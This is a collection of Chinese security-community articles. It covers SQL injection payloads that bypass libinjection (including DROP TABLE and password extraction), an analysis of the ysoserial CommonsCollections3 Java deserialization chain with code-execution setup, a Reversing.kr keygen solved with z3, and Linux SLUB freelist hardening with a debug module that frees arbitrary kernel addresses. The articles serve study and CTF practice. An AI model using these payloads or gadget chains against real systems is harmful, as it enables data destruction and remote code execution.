但是下面这条语句却不会被发现，这样一来，你的用户表（users）就被攻击者拿到手了：
?id=123);DROP TABLE users--
简单的数据提取Payload样例如下所示：
?id=) OR (SELECT password FROM users ...
**注释语境**
在SQL语句的注释中执行注入
*/UNION SELECT password FROM users--
**
**
**总结**
实际上，我们经常可以在SQL语句的注释区域中发现可行的注入点。libinjection无法检测注释区域中的内容，因为它的SQL解析器根本就不支持这种语境。
**正如大家在本文中看到的那样，想要保护Web应用不受网络攻击其实是一件非常困难的事情，即便是我们对SQL注入攻击已经有着足够的了解了，但我们仍然不能保证SQLi不会发生在我们自己的服务器身上。无论你所使用的库有多么的流行，无论这个库有多么的高级，攻击者永远都会有新的方法来绕过它们。** | 社区文章 |
# Java反序列化利用链分析之CommonsCollections3
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
[前面](http://blog.0kami.cn/2019/10/24/study-java-deserialized-commonscollections3-1/)分析了ysoserial的CommonsCollections1，熟悉了一点Java反序列化。本文将继续分析ysoserial的利用，今天的主角是CommonsCollections3.
## 0x01 环境准备
首先由于override的原因(下一篇将分析该原因)，环境使用的是`jdk7u80`,`commons-collections:3.1`。利用ysoserial生成payload，并载入调试。
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections3 "open /System/Applications/Calculator.app" > commonscollections3.ser
## 0x02 基础知识
在分析开始前，先补充一下基础知识
public class StaticBlockTest {
}
public class Cracker {
public static byte[] generate(){
try {
String code = "{java.lang.Runtime.getRuntime().exec("open /System/Applications/Calculator.app");}";
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(StaticBlockTest.class.getName());
clazz.setName("demo");
clazz.makeClassInitializer().insertAfter(code);
return clazz.toBytecode();
// ...
}
public static void main(String[] args) {
byte[] clazz = generate();
DefiningClassLoader loader = new DefiningClassLoader();
Class cls = loader.defineClass("demo",clazz);// 从字节数组中恢复类
try {
cls.newInstance(); // 实例化该类时会自动调用静态块内的代码
}
// ...
}
}
通过上面这个例子，我们可以获得的知识点主要为两点：
a. defineClass可以从byte数组中恢复一个Class
b. static initializer在类实例化时将自动执行（静态块内的代码）
Java中动态调用的另一种方式是`defineClass`
Java提供了ClassLoader从bytes数组中还原Class的方法，defineClass函数就是完成这一过程的函数。
理论上，如果代码中使用了这种方式，且byte数据的内容可控，我们可以执行任意Java代码。为什么呢？
这里就用到了Java类的另一个特性，static
block在类实例化时会自动执行块内的代码。我们可以通过javassist对静态块注入任意代码，该类被恢复并实例化时就会调用注入的代码，后文的利用链主要就是用到了这两个知识点。
## 0x03 利用链分析
### 1\. 前景回顾
这里选择CommonsCollections3是因为他的前半段触发的利用链跟CommonsCollections1是一样的，所以这里只需要分析后半段命令执行的构造即可。回顾一下前半段利用链
sun.reflect.annotation.AnnotationInvocationHandler.readObject()
-> memberValues.entrySet()
-> AnnotationInvocationHandler.invoke()
-> memberValues.get() => LazyMap.get()
-> factory.transform() => ChainedTransformer.transform()
-> iTransformers[].transform()
CommonsCollections1中ChainedTransformer.transform()会循环调用iTransformers数组里的对象的transform函数。CommonsCollections1用的是InvokerTransformer的transform，因为该函数实现了反射调用任意类的功能。那么除了使用InvokerTransformer还有没有其他的方法？答案当然是肯定的！
### 2\. 新的命令执行利用链
来看一下CommonsCollections3的payloads构造
Object templatesImpl = Gadgets.createTemplatesImpl(command);
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};
// 后续类似 省略
`ConstantTransformer`上一篇已经说过了，其`transform`会返回构造时的对象，这里就是`TrAXFilter.class`对象。
我们重点来看`InstaniateTransformer`的`transform`函数
简单来看，该函数对输入的input（这里就是TrAXFilter.class）做实例化的操作。这里看起来，其实有点像php中找对应的__constructs，在Java里我们就去找构造函数里做了危险操作的class。
来看一下`TrAXFilter`类的构造函数
这里的`templates`就是上面exp中构造的`templatesImpl`.
继续看TransformerImpl的newTransformer函数
`org.apache.xalan.internal.xsltc.trax.TemplatesImpl.java:newTransformer:481`
继续看`getTransletInstance`
再继续`defineTransletClasses`
看到这里是不是有点熟悉，没错，这里用到了0x02中的两个基础知识。`defineTransletClasses`还原出类，`getTransletInstance`进行实例化。那么我们只需要构造一个合适的`_bytecodes`即可执行任意Java代码。
下面补充一下，在构造exp时需要满足的条件：
1.植入的`templates`为`TransformerImpl`类，从而调用后续的`newTransformer`函数
2.植入的`templates`实例，`_name`不为`null`,`_class`为`null`
3.植入的`templates`实例，`_bytecodes`不为`null`,`_tfactory`为`TransformerFactoryImpl`对象
4.植入的`templates._bytecodes`数组，其最终还原的对象父类为`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`
那么怎么才能满足这些条件呢？这里神奇的javassist又要上场啦！
来看一下ysoserial的操作
上面的代码不做省略，我们应该好好学习一下javassist的基本操作，代码可以在`Gadgets.createTemplatesImpl`找到！
这里框了两个框，第一个框是通过javassist注入静态块，静态块的内容就是我们需要执行的命令。第二个框是ysoserail框架自己封装的一个反射工具类，通过这个类我们可以动态的操作`templates`实例的类属性内容。这里主要就是在满足上述的几个条件。
这里有一点可以提一下，该利用链的作者在填充`_bytecodes`时，额外填充了一个无关的类(上图第130行)。这个类主要用于满足`_auxClasses`,让这个`getTransletInstance`函数能正常走完。
经过上面的分析，其实我们可以知道`getTransletInstance`的第408行，对`_class`做实例化时我们想要执行的代码就已经执行了。所以这里额外填充的类其实是可有可无的。
## 0x04 总结
到这里，整一个CommonsCollections3就分析结束了。
CommonsCollections3主要利用了可控的byte数组从defineClass函数中还原出恶意构造的Class。并且在后续的调用中，这个Class被实例化，从而执行了注入的静态块的代码，实现了任意Java代码执行。
到这篇为止，我们已经知道了两种Java的任意代码执行的构造方式
1.利用可控的反射机制。具体的Class、Method等均可控时，利用反射机制，可以构造出任意的类调用、类函数调用
2.利用可控的defineClass函数的byte数组。构造恶意的Class字节码数组，常于静态块注入恶意代码 | 社区文章 |
作者：陈独秀
题目下载链接:<http://reversing.kr/download.php?n=7>
这次实验的题目为Reversing.kr网站中的一道题目。
题目要求:
ReversingKr KeygenMe
Find the Name when the Serial is 76876-77776
This problem has several answers.
Password is ***p
这是一道典型的 _用户名-序列号_ 形式的题目，序列号已经给出，且用户名的最后一位为p。
#### z3 求解器是什么？
z3是由微软公司开发的一个优秀的SMT求解器（也就定理证明器），它能够检查逻辑表达式的可满足性。
通俗讲，就是解方程。比如使用z3解二元一次方程：
x-y == 3
3x-8y == 4
z3代码如下: ipython 交互
In [130]: from z3 import *
In [131]: x = Int('x')
In [132]: y = Int('y')
In [133]: solver = Solver()
In [134]: solver.add(x-y == 3)
In [135]: solver.add(3*x-8*y == 4)
In [136]: solver.check()
Out[136]: sat
In [137]: solver.model()
Out[137]: [y = 1, x = 4]
z3 难道就只能用来解小学方程吗？当然不是！来看题。
#### 0x0 定位
界面有两个输入框，无按钮，直接对GetWindowTextW下断后两次向上回溯即可到达核心逻辑函数，下面为该函数的代码。
signed int __stdcall sub_FA1740(int a1)
{
int v1; // edi
int v3; // esi
int v4; // esi
__int16 v5; // bx
unsigned __int8 v6; // al
unsigned __int8 v7; // ST2C_1
unsigned __int8 v8; // al
unsigned __int8 v9; // bl
wchar_t *v10; // eax
__int16 v11; // di
wchar_t *v12; // eax
__int16 v13; // di
wchar_t *v14; // eax
__int16 v15; // di
wchar_t *v16; // eax
__int16 v17; // di
wchar_t *v18; // eax
__int16 v19; // di
unsigned __int8 v20; // al
unsigned __int8 v21; // ST2C_1
unsigned __int8 v22; // al
unsigned __int8 v23; // bl
wchar_t *v24; // eax
__int16 v25; // di
wchar_t *v26; // eax
__int16 v27; // di
wchar_t *v28; // eax
__int16 v29; // di
wchar_t *v30; // eax
__int16 v31; // di
wchar_t *v32; // eax
__int16 v33; // si
unsigned __int8 v34; // [esp+10h] [ebp-28h]
unsigned __int8 v35; // [esp+10h] [ebp-28h]
unsigned __int8 v36; // [esp+11h] [ebp-27h]
unsigned __int8 v37; // [esp+11h] [ebp-27h]
unsigned __int8 v38; // [esp+13h] [ebp-25h]
unsigned __int8 v39; // [esp+13h] [ebp-25h]
unsigned __int8 v40; // [esp+14h] [ebp-24h]
unsigned __int8 v41; // [esp+14h] [ebp-24h]
unsigned __int8 v42; // [esp+19h] [ebp-1Fh]
unsigned __int8 v43; // [esp+19h] [ebp-1Fh]
unsigned __int8 v44; // [esp+1Ah] [ebp-1Eh]
unsigned __int8 v45; // [esp+1Ah] [ebp-1Eh]
unsigned __int8 v46; // [esp+1Bh] [ebp-1Dh]
unsigned __int8 v47; // [esp+1Bh] [ebp-1Dh]
unsigned __int8 v48; // [esp+1Ch] [ebp-1Ch]
unsigned __int8 v49; // [esp+1Ch] [ebp-1Ch]
int username; // [esp+20h] [ebp-18h]
int serial; // [esp+24h] [ebp-14h]
char v52; // [esp+28h] [ebp-10h]
int v53; // [esp+34h] [ebp-4h]
ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&username);
v1 = 0;
v53 = 0;
ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&serial);
ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v52);
LOBYTE(v53) = 2;
CWnd::GetWindowTextW(a1 + 304, &username);
if ( *(username - 12) == 4 )
{
v3 = 0;
while ( ATL::CSimpleStringT<wchar_t,1>::GetAt(&username, v3) >= 'a'
&& ATL::CSimpleStringT<wchar_t,1>::GetAt(&username, v3) <= 'z' )
{
if ( ++v3 >= 4 )
{
LABEL_7:
v4 = 0;
while ( 1 )
{
if ( v1 != v4 )
{
v5 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&username, v4);
if ( ATL::CSimpleStringT<wchar_t,1>::GetAt(&username, v1) == v5 )
goto LABEL_2;
}
if ( ++v4 >= 4 )
{
if ( ++v1 < 4 )
goto LABEL_7;
CWnd::GetWindowTextW(a1 + 420, &serial);
if ( *(serial - 12) == 11 && ATL::CSimpleStringT<wchar_t,1>::GetAt(&serial, 5) == '-' )
{
v6 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&username, 0);
v7 = (v6 & 1) + 5;
v48 = ((v6 >> 4) & 1) + 5;
v42 = ((v6 >> 1) & 1) + 5;
v44 = ((v6 >> 2) & 1) + 5;
v46 = ((v6 >> 3) & 1) + 5;
v8 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&username, 1);
v34 = (v8 & 1) + 1;
v40 = ((v8 >> 4) & 1) + 1;
v36 = ((v8 >> 1) & 1) + 1;
v9 = ((v8 >> 2) & 1) + 1;
v38 = ((v8 >> 3) & 1) + 1;
v10 = ATL::CSimpleStringT<wchar_t,1>::GetBuffer(&v52);
itow_s(v7 + v9, v10, 10u, 10);
v11 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&v52, 0);
if ( ATL::CSimpleStringT<wchar_t,1>::GetAt(&serial, 0) == v11 )
{
ATL::CSimpleStringT<wchar_t,1>::ReleaseBuffer(&v52, -1);
v12 = ATL::CSimpleStringT<wchar_t,1>::GetBuffer(&v52);
itow_s(v46 + v38, v12, 10u, 10);
v13 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&serial, 1);
if ( v13 == ATL::CSimpleStringT<wchar_t,1>::GetAt(&v52, 0) )
{
ATL::CSimpleStringT<wchar_t,1>::ReleaseBuffer(&v52, -1);
v14 = ATL::CSimpleStringT<wchar_t,1>::GetBuffer(&v52);
itow_s(v42 + v40, v14, 0xAu, 10);
v15 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&serial, 2);
if ( v15 == ATL::CSimpleStringT<wchar_t,1>::GetAt(&v52, 0) )
{
ATL::CSimpleStringT<wchar_t,1>::ReleaseBuffer(&v52, -1);
v16 = ATL::CSimpleStringT<wchar_t,1>::GetBuffer(&v52);
itow_s(v44 + v34, v16, 0xAu, 10);
v17 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&serial, 3);
if ( v17 == ATL::CSimpleStringT<wchar_t,1>::GetAt(&v52, 0) )
{
ATL::CSimpleStringT<wchar_t,1>::ReleaseBuffer(&v52, -1);
v18 = ATL::CSimpleStringT<wchar_t,1>::GetBuffer(&v52);
itow_s(v48 + v36, v18, 0xAu, 10);
v19 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&serial, 4);
if ( v19 == ATL::CSimpleStringT<wchar_t,1>::GetAt(&v52, 0) )
{
ATL::CSimpleStringT<wchar_t,1>::ReleaseBuffer(&v52, -1);
v20 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&username, 2);
v21 = (v20 & 1) + 5;
v49 = ((v20 >> 4) & 1) + 5;
v43 = ((v20 >> 1) & 1) + 5;
v45 = ((v20 >> 2) & 1) + 5;
v47 = ((v20 >> 3) & 1) + 5;
v22 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&username, 3);
v35 = (v22 & 1) + 1;
v41 = ((v22 >> 4) & 1) + 1;
v37 = ((v22 >> 1) & 1) + 1;
v23 = ((v22 >> 2) & 1) + 1;
v39 = ((v22 >> 3) & 1) + 1;
v24 = ATL::CSimpleStringT<wchar_t,1>::GetBuffer(&v52);
itow_s(v21 + v23, v24, 0xAu, 10);
v25 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&serial, 6);
if ( v25 == ATL::CSimpleStringT<wchar_t,1>::GetAt(&v52, 0) )
{
ATL::CSimpleStringT<wchar_t,1>::ReleaseBuffer(&v52, -1);
v26 = ATL::CSimpleStringT<wchar_t,1>::GetBuffer(&v52);
itow_s(v47 + v39, v26, 0xAu, 10);
v27 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&serial, 7);
if ( v27 == ATL::CSimpleStringT<wchar_t,1>::GetAt(&v52, 0) )
{
ATL::CSimpleStringT<wchar_t,1>::ReleaseBuffer(&v52, -1);
v28 = ATL::CSimpleStringT<wchar_t,1>::GetBuffer(&v52);
itow_s(v43 + v41, v28, 0xAu, 10);
v29 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&serial, 8);
if ( v29 == ATL::CSimpleStringT<wchar_t,1>::GetAt(&v52, 0) )
{
ATL::CSimpleStringT<wchar_t,1>::ReleaseBuffer(&v52, -1);
v30 = ATL::CSimpleStringT<wchar_t,1>::GetBuffer(&v52);
itow_s(v45 + v35, v30, 0xAu, 10);
v31 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&serial, 9);
if ( v31 == ATL::CSimpleStringT<wchar_t,1>::GetAt(&v52, 0) )
{
ATL::CSimpleStringT<wchar_t,1>::ReleaseBuffer(&v52, -1);
v32 = ATL::CSimpleStringT<wchar_t,1>::GetBuffer(&v52);
itow_s(v49 + v37, v32, 0xAu, 10);
v33 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&serial, 10);
if ( v33 == ATL::CSimpleStringT<wchar_t,1>::GetAt(&v52, 0) )
{
ATL::CSimpleStringT<wchar_t,1>::ReleaseBuffer(&v52, -1);
ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v52);
ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&serial);
ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&username);
return 1;
}
}
}
}
}
}
}
}
}
}
}
goto LABEL_2;
}
}
}
}
}
LABEL_2:
ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v52);
ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&serial);
ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&username);
return 0;
}
#### 0x1 初步分析，输入有效性分析
username 只有4个字节。 serial 只有11字节，且第serial[5]=='-'。
#### 0x2 进一步分析，约束条件
这段代码量不是很多，只要细心，很快就能找出所有的限制条件。
1. username[0~3]值域为['a','z']
2. username[3] == 'p' //这个是题目给出的条件，非逆向所得。
3. 0x0代码片段中有10个方程:
((username[0]&1)+5+(((username[1]>>2) & 1 )+1))==ord('7')-0x30
((((username[0]>>3) & 1)+5)+(((username[1]>>3)&1)+1))==ord('6')-0x30
(((username[0]>>1) & 1)+5+(((username[1]>>4) & 1 )+1))==ord('8')-0x30
(((username[0]>>2) & 1)+5+(((username[1]) & 1 )+1))==ord('7')-0x30
(((username[0]>>4) & 1)+5+(((username[1]>>1) & 1 )+1))==ord('6')-0x30
(((username[2]) & 1)+5+(((username[3]>>2) & 1 )+1))==ord('7')-0x30
(((username[2]>>3) & 1)+5+(((username[3]>>3) & 1 )+1))==ord('7')-0x30
(((username[2]>>1) & 1)+5+(((username[3]>>4) & 1 )+1))==ord('7')-0x30
(((username[2]>>2) & 1)+5+(((username[3]) & 1 )+1))==ord('7')-0x30
(((username[2]>>4) & 1)+5+(((username[3]>>1) & 1 )+1))==ord('6')-0x30
ord是python中的函数，功能是将字符转成对应int。为什么我要这么做呢？从逆向出的代码片段可知，原程序用itow_s将运算值转为文本，然后取文本的最高位和输入的ASCII进行比较，但是运算结果只有一位数，我就直接用加减0x30，其次z3条件里面好像不能有str()这样的函数出现。
#### 0x3 编写程序，取得flag！
from z3 import *
username = [BitVec('u%d'%i,8) for i in range(0,4)]
solver = Solver() #76876-77776
solver.add(((username[0]&1)+5+(((username[1]>>2) & 1 )+1))==ord('7')-0x30)
solver.add(((((username[0]>>3) & 1)+5)+(((username[1]>>3)&1)+1))==ord('6')-0x30)
solver.add((((username[0]>>1) & 1)+5+(((username[1]>>4) & 1 )+1))==ord('8')-0x30)
solver.add((((username[0]>>2) & 1)+5+(((username[1]) & 1 )+1))==ord('7')-0x30)
solver.add((((username[0]>>4) & 1)+5+(((username[1]>>1) & 1 )+1))==ord('6')-0x30)
solver.add((((username[2]) & 1)+5+(((username[3]>>2) & 1 )+1))==ord('7')-0x30)
solver.add((((username[2]>>3) & 1)+5+(((username[3]>>3) & 1 )+1))==ord('7')-0x30)
solver.add((((username[2]>>1) & 1)+5+(((username[3]>>4) & 1 )+1))==ord('7')-0x30)
solver.add((((username[2]>>2) & 1)+5+(((username[3]) & 1 )+1))==ord('7')-0x30)
solver.add((((username[2]>>4) & 1)+5+(((username[3]>>1) & 1 )+1))==ord('6')-0x30)
solver.add(username[3] == ord('p'))
for i in range(0,4):
solver.add(username[i] >= ord('a'))
solver.add(username[i] <= ord('z'))
solver.check()
result = solver.model()
flag = ''
for i in range(0,4):
flag += chr(result[username[i]].as_long().real)
print flag
参考: <https://github.com/Z3Prover/z3>
* * * | 社区文章 |
# Linux slub 分配器上的安全加固学习
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
linux 内核默认使用slub分配器来做内存管理，在这篇文章里，我们首先简要交代了slub分配器内存分配的基本流程，然后对其上面的两种安全加固做了分析。
## slub 分配器简述
slub
的实现具体可以参考[这篇文章](https://my.oschina.net/fileoptions/blog/1630346),这里我们简要说明一下。
slub 是针对内核的小内存分配，和用户态堆一开始会brk分一大块内存，然后再慢慢切割一样
伙伴系统给内存，然后slub分配器把内存切割成特定大小的块，后续的分配就可以用了。
具体来说，内核会预先定义一些`kmem_cache` 结构体，它保存着要如何分割使用内存页的信息，可以通过`cat /proc/slabinfo`
查看系统当前可用的`kmem_cache`。
内核很多的结构体会频繁的申请和释放内存，用`kmem_cache`
来管理特定的结构体所需要申请的内存效率上就会比较高，也比较节省内存。默认会创建`kmalloc-8k,kmalloc-4k,...
,kmalloc-16,kmalloc-8` 这样的cache，这样内核调用kmalloc函数时就可以根据申请的内存大小找到对应的`kmalloc-xx`，然后在里面找可可用的内存块。
内核全局有一个 `slab_caches` 变量，它是一个链表，系统所有的 `kmem_cache` 都接在这个链表上。
slab 以页为基本单位切割，然后用单向链表(fd指针)串起来，类似用户态堆的 fastbin，每一个小块我们叫它`object`
`kmem_cache` 内部比较重要的结构如下:
kmem_cache
- kmem_cache_cpu
- freelist
- partial
- kmem_cache_node
- partial
因为现在的计算机大多是多个cpu的，`kmem_cache_cpu`相当于一个缓存，kmalloc的时候会现在这里找free的slab,
找不到再到`kmem_cache_node` 找。`partial` 保存着之前申请过的没用完的slab
### 内存分配与释放
slab 其实就类似一个fastbin, 所有的分配都会在`kmem_cache_cpu` 结构体的 `freelist` 上找。
刚开始什么都没有，伙伴系统会根据`kmem_cache`的配置信息给出一块内存，分配好后类似`freelist ==>
[x]->[x]->[x]->...->0` 这样，后面每次分配就到`freelist`链表上找 ，它指向第一个可用的free object。
然后可能申请太多，free object 用完了，那就会再向伙伴系统要。
已经用满的slab不用去管它，等它里面有object被free之后，它就会被挂到`kmem_cache_cpu` 的`partial`链表上。
等下一次 `freelist`上的slab又用完了，就可以看看`partial`还有没有可用的，直接拿过来换上，就不用去麻烦伙伴系统了。
`kmem_cache_cpu` 上的`partial` 可能挂了很多未满的slab,
超过一个阈值的时候，就会把整个链表拿到`kmem_cache_node`的`partial` 链表上，然后再有就又可以放了。
那可能又用多了，`kmem_cache_cpu` 上的 freelist 和 partial 的slab都用满了，这时就可以到
`kmem_cache_node`的partial 上拿。
object 的free 是 FIFO的，也就是都会接在freelist 链表头，free 的object 超过一个设定好的阈值时会触发内存回收。
okay， slub 分配器大概就是这样，我们接下来分析一下slub上的两个安全加固是什么样的。
## 环境配置
[linux-5.4
版本](https://mirrors.edge.kernel.org/pub/linux/kernel/v5.x/linux-5.4.tar.xz)
## 模块编写
为了方便调试，我们写个模块来帮助我们操作内核的 kmalloc 以及kfree, 可以随便kmalloc和kfree任意地址
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/string.h>
#include <linux/uaccess.h>
#include<linux/slab.h>
#include <linux/miscdevice.h>
#include <linux/delay.h>
//msleep
MODULE_LICENSE("Dual BSD/GPL");
#define ADD_ANY 0xbeef
#define DEL_ANY 0x2333
struct in_args{
uint64_t addr;
uint64_t size;
char __user *buf;
};
uint64_t g_val = 0;
static long add_any(struct in_args *args){
long ret = 0;
char *buffer = kmalloc(args->size,GFP_KERNEL);
if(buffer == NULL){
return -ENOMEM;
}
if(copy_to_user(args->buf,(void *)&buffer,0x8)){
return -EINVAL;
}
return ret;
}
static long del_any(struct in_args *args){
long ret = 0;
kfree((void *)args->addr);
return ret;
}
static long kpwn_ioctl(struct file *file, unsigned int cmd, unsigned long arg){
long ret = -EINVAL;
struct in_args in;
if(copy_from_user(&in,(void *)arg,sizeof(in))){
return ret;
}
switch(cmd){
case DEL_ANY:
ret = del_any(&in);
break;
case ADD_ANY:
ret = add_any(&in);
break;
default:
ret = -1;
}
return ret;
}
static struct file_operations fops = {
.owner = THIS_MODULE,
.open = NULL,
.release = NULL,
.read = NULL,
.write = NULL,
.unlocked_ioctl = kpwn_ioctl
};
static struct miscdevice misc = {
.minor = MISC_DYNAMIC_MINOR,
.name = "kpwn",
.fops = &fops
};
int kpwn_init(void)
{
misc_register(&misc);
return 0;
}
void kpwn_exit(void)
{
printk(KERN_INFO "Goodbye hackern");
misc_deregister(&misc);
}
module_init(kpwn_init);
module_exit(kpwn_exit);
然后写个交互脚本
#define _GNU_SOURCE
#include "exp.h"
#define ADD_ANY 0xbeef
#define DEL_ANY 0x2333
struct in_args{
u64 addr;
u64 size;
char *buf;
};
void init(){
save_status();
setbuf(stdin,0);
setbuf(stdout,0);
signal(SIGSEGV, sh);
}
int main(int argc,char **argv){
init();
char *buf=malloc(0x1000);
u64 *buf64 =(u64 *)buf;
struct in_args *p = malloc(sizeof(struct in_args));
int op=0;
u32 addsize=1024;
int fd = open("/dev/kpwn",O_RDWR);
logx("fd",fd);
u64 freeaddr=0;
while(1){
printf("1.mallocn");
printf("2.freen");
printf("3.exitn");
printf(">> ");
scanf("%d",&op);
switch(op){
case 1:
p->addr=0;
p->size=addsize;
p->buf=buf;
ioctl(fd,ADD_ANY,p);
loglx("kmalloc: ",buf64[0]);
break;
case 2:
printf("free addr: ");
scanf("%lx",&freeaddr);
loglx("read ",freeaddr);
p->addr=freeaddr;
ioctl(fd,DEL_ANY,p);
break;
case 3:
exit(0);
break;
}
}
close(fd);
logs("wtf","aaaaa");
return 0;
}
## CONFIG_SLAB_FREELIST_HARDENED 配置下
okay，我们先看第一个，需要在内核的`.config` 文件中添加`CONFIG_SLAB_FREELIST_HARDENED=y` 编译选项
在这个配置下, `kmem_cache` 增加了一个unsigned long类型的变量random.
#ifdef CONFIG_SLAB_FREELIST_HARDENED
unsigned long random;
#endif
在[mm/slub.c](https://elixir.bootlin.com/linux/v5.4/source/mm/slub.c) 文件,
`kmem_cache_open`的时候给random字段一个随机数
static int kmem_cache_open(struct kmem_cache *s, slab_flags_t flags)
{
s->flags = kmem_cache_flags(s->size, flags, s->name, s->ctor);
#ifdef CONFIG_SLAB_FREELIST_HARDENED
s->random = get_random_long();
#endif
`set_freepointer` 函数中加了一个`BUG_ON`的检查，这里是检查double free的，当前free 的object 的内存地址和
`freelist` 指向的第一个object 的地址不能一样,这和glibc类似。
static inline void set_freepointer(struct kmem_cache *s, void *object, void *fp)
{
unsigned long freeptr_addr = (unsigned long)object + s->offset;
#ifdef CONFIG_SLAB_FREELIST_HARDENED
BUG_ON(object == fp); /* naive detection of double free or corruption */
#endif
*(void **)freeptr_addr = freelist_ptr(s, fp, freeptr_addr);
}
接着是`freelist_ptr`, 它会返回当前object 的下一个 free object 的地址， 加上hardened
之后会和之前初始化的random值做异或。
static inline void *freelist_ptr(const struct kmem_cache *s, void *ptr,
unsigned long ptr_addr)
{
#ifdef CONFIG_SLAB_FREELIST_HARDENED
return (void *)((unsigned long)ptr ^ s->random ^
(unsigned long)kasan_reset_tag((void *)ptr_addr));
#else
return ptr;
#endif
}
我们实际调试看看，我们只用一个CPU, 然后kmalloc的大小是 1k,启动exp之后的内存状态如下
`random` 的值为 `0xed74254a6ccbe301` free object 上保存不再是下一个free object
的地址，而是一个看起来乱七八糟的数字，参考前面的`(void *)((unsigned long)ptr ^ s->random ^(unsigned
long)kasan_reset_tag((void *)ptr_addr))`
加上hardened 之后
`下一个free object的地址` = `random` ^ `当前free object的地址` ^ `当前free object 原本fd处的值`
计算一下`hex(0xed74254a6ccbe301^0xed74254a6ccbef01^0xffff88800d7ce400)`
可以得到`0xffff88800d7ce800` 也就是下一个free object 的地址。
也就是说`CONFIG_SLAB_FREELIST_HARDENED` 就是加了个给 `fd`
指针异或加了个密，这样如果有溢出就读不到内存地址，要溢出覆盖因为不知道`random`的值也很难继续利用。
我们继续看另外一个安全加固
## CONFIG_SLAB_FREELIST_RANDOM 配置下
同样，这里需要改`.config`文件，加上`CONFIG_SLAB_FREELIST_RANDOM=y`,
简单期间，我们加上`CONFIG_SLAB_FREELIST_HARDENED=n`
这个配置下，`kmem_cache` 会添加一个 unsigned int 类型的数组
#ifdef CONFIG_SLAB_FREELIST_RANDOM
unsigned int *random_seq;
#endif
具体代码实现在[mm/slab_common.c](https://elixir.bootlin.com/linux/v5.4/source/mm/slub_common.c)
以及[mm/slab.c](https://elixir.bootlin.com/linux/v5.4/source/mm/slub.c)里，首先是初始化
static int init_cache_random_seq(struct kmem_cache *s)
{
unsigned int count = oo_objects(s->oo);
int err;
...
if (s->random_seq)
return 0;
err = cache_random_seq_create(s, count, GFP_KERNEL);
...
if (s->random_seq) {
unsigned int i;
for (i = 0; i < count; i++)
s->random_seq[i] *= s->size;
}
return 0;
}
/* Initialize each random sequence freelist per cache */
static void __init init_freelist_randomization(void)
{
struct kmem_cache *s;
mutex_lock(&slab_mutex);
list_for_each_entry(s, &slab_caches, list)// 对每个kmem_cache
init_cache_random_seq(s);
mutex_unlock(&slab_mutex);
}
`init_cache_random_seq`函数先找出当前`kmem_cache`一个slab 里会有多少object(`oo&0xffff`) ,
`cache_random_seq_create`会根据object的数量给`random_seq`
数组分配内存，初始化为`random_seq[index]=index`, 然后把顺序打乱再乘object的大小
/* Create a random sequence per cache */
int cache_random_seq_create(struct kmem_cache *cachep, unsigned int count,
gfp_t gfp)
{
struct rnd_state state;
if (count < 2 || cachep->random_seq)
return 0;
cachep->random_seq = kcalloc(count, sizeof(unsigned int), gfp);
if (!cachep->random_seq)
return -ENOMEM;
/* Get best entropy at this stage of boot */
prandom_seed_state(&state, get_random_long());
freelist_randomize(&state, cachep->random_seq, count);
}
static void freelist_randomize(struct rnd_state *state, unsigned int *list,
unsigned int count)
{
unsigned int rand;
unsigned int i;
for (i = 0; i < count; i++)
list[i] = i;
/* Fisher-Yates shuffle */
